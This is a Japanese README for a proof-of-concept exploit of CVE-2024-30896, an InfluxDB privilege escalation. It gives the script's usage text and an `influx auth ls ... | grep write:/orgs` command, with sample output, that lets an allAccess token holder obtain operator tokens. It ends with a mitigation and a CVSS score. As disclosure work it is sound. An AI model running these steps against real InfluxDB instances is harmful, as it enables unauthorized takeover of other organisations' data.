
CVE-2024-30896の概念実証エクスプロイト。InfluxDBの権限昇格の脆弱性であり、allAccessトークン保持者が認可トークンの一覧表示を通じてオペレーターレベルのアクセスを取得できるようにします。
influxdb のビジネスロジックの欠陥により、有効な allAccess トークンを持つユーザーが、現在の認可トークンを一覧表示することで、その権限をオペレーターレベルに昇格させることができます。
攻撃者は、管理者から自組織内でのみ有効な allAccess トークンを付与されたユーザーである可能性があります。 このユーザーの権限では、組織内の完全な制御が可能ですが、他の組織とのやり取りは引き続き防止されます。
この脆弱性により、ユーザーは influxdb インスタンスへの無制限のアクセスを取得できる可能性があります。同様の条件により、異なる組織のユーザーが所有するデータの機密性、完全性、可用性が完全に侵害される可能性があります。さらに、オペレータートークンは管理権限を持つため、influxdb インスタンス全体の可用性と完全性が侵害される可能性があります。
スクリプトの使用法
% python3 ./influxdbPrivescCVE_PoC.py -h
usage: influxdbPrivescCVE_PoC.py [-h] [-t TOKEN] [-e ENDPOINTURL] [-v [VERBOSE]] [-vv [VVERBOSE]]
optional arguments:
-h, --help show this help message and exit
-t TOKEN, --token TOKEN
Custom or allAccess token to access influx DB instance
-e ENDPOINTURL, --endpointUrl ENDPOINTURL
Endpoint Url of influxdb instance (ex. "https://myInfluxdbInstance:8086/")
-v [VERBOSE], --verbose [VERBOSE]
Enable verbose logging - INFO
-vv [VVERBOSE], --vverbose [VVERBOSE]
Enable verbose logging - DEBUG
influx auth ls -t <allAccessToken> | grep write:/orgs。これにより、influxdb インスタンス上の現在アクティブなすべてのオペレータートークンが一覧表示されます。例
# Using an allAccess token
influx auth ls -t U1OuqmFC{REDACTED} | grep U1OuqmFC{REDACTED}
0cc41c3b050e5000 U1OuqmFC{REDACTED}
admin 0cb9c92ee228b000 [read:orgs/87d0746948a3b3f5/authorizations write:orgs/87d0746948a3b3f5/authorizations read:orgs/87d0746948a3b3f5/buckets write:orgs/87d0746948a3b3f5/buckets read:orgs/87d0746948a3b3f5/dashboards write:orgs/87d0746948a3b3f5/dashboards read:/orgs/87d0746948a3b3f5 read:orgs/87d0746948a3b3f5/sources write:orgs/87d0746948a3b3f5/sources read:orgs/87d0746948a3b3f5/tasks write:orgs/87d0746948a3b3f5/tasks read:orgs/87d0746948a3b3f5/telegrafs write:orgs/87d0746948a3b3f5/telegrafs read:/users/0cb9c92ee228b000 write:/users/0cb9c92ee228b000 read:orgs/87d0746948a3b3f5/variables write:orgs/87d0746948a3b3f5/variables read:orgs/87d0746948a3b3f5/scrapers write:orgs/87d0746948a3b3f5/scrapers read:orgs/87d0746948a3b3f5/secrets write:orgs/87d0746948a3b3f5/secrets read:orgs/87d0746948a3b3f5/labels write:orgs/87d0746948a3b3f5/labels read:orgs/87d0746948a3b3f5/views write:orgs/87d0746948a3b3f5/views read:orgs/87d0746948a3b3f5/documents write:orgs/87d0746948a3b3f5/documents read:orgs/87d0746948a3b3f5/notificationRules write:orgs/87d0746948a3b3f5/notificationRules read:orgs/87d0746948a3b3f5/notificationEndpoints write:orgs/87d0746948a3b3f5/notificationEndpoints read:orgs/87d0746948a3b3f5/checks write:orgs/87d0746948a3b3f5/checks read:orgs/87d0746948a3b3f5/dbrp write:orgs/87d0746948a3b3f5/dbrp read:orgs/87d0746948a3b3f5/notebooks write:orgs/87d0746948a3b3f5/notebooks read:orgs/87d0746948a3b3f5/annotations write:orgs/87d0746948a3b3f5/annotations read:orgs/87d0746948a3b3f5/remotes write:orgs/87d0746948a3b3f5/remotes read:orgs/87d0746948a3b3f5/replications write:orgs/87d0746948a3b3f5/replications]
# Listing all available tokens passing allAccess token and retrieving only operator level tokens
influx auth ls -t U1OuqmFC{REDACTED} | grep write:/orgs
0cbb920e128e5000 gerKYLO0Ph_ibUk0y{REDACTED}
admin 0cb9c92ee228b000 [read:/authorizations write:/authorizations read:/buckets write:/buckets read:/dashboards write:/dashboards read:/orgs write:/orgs read:/sources write:/sources read:/tasks write:/tasks read:/telegrafs write:/telegrafs read:/users write:/users read:/variables write:/variables read:/scrapers write:/scrapers read:/secrets write:/secrets read:/labels write:/labels read:/views write:/views read:/documents write:/documents read:/notificationRules write:/notificationRules read:/notificationEndpoints write:/notificationEndpoints read:/checks write:/checks read:/dbrp write:/dbrp read:/notebooks write:/notebooks read:/annotations write:/annotations read:/remotes write:/remotes read:/replications write:/replications]
allAccess トークンはデフォルトで、同じ Org 内で定義されたすべての認可を一覧表示する権限を持ち、タイプ(カスタム、allAccess、オペレーター)に基づく制限はありません -> read:orgs/87d0746948a3b3f5/authorizations。
実行時、influx setup は最初の(デフォルト)Org を作成し、その中にオペレータートークンが自動的に保存されます。ユーザーには、二次的に作成された組織のみへのアクセス権を付与する必要があります。複数の組織を作成し、ユーザーにはオペレータートークンを含まないものだけを渡すことを推奨します。
CVSS 基本スコア: 9.1
CVSS v3.1 ベクトル: AV:N/AC:L/PR:H/UI:N/S:C/C:H/I:H/A:H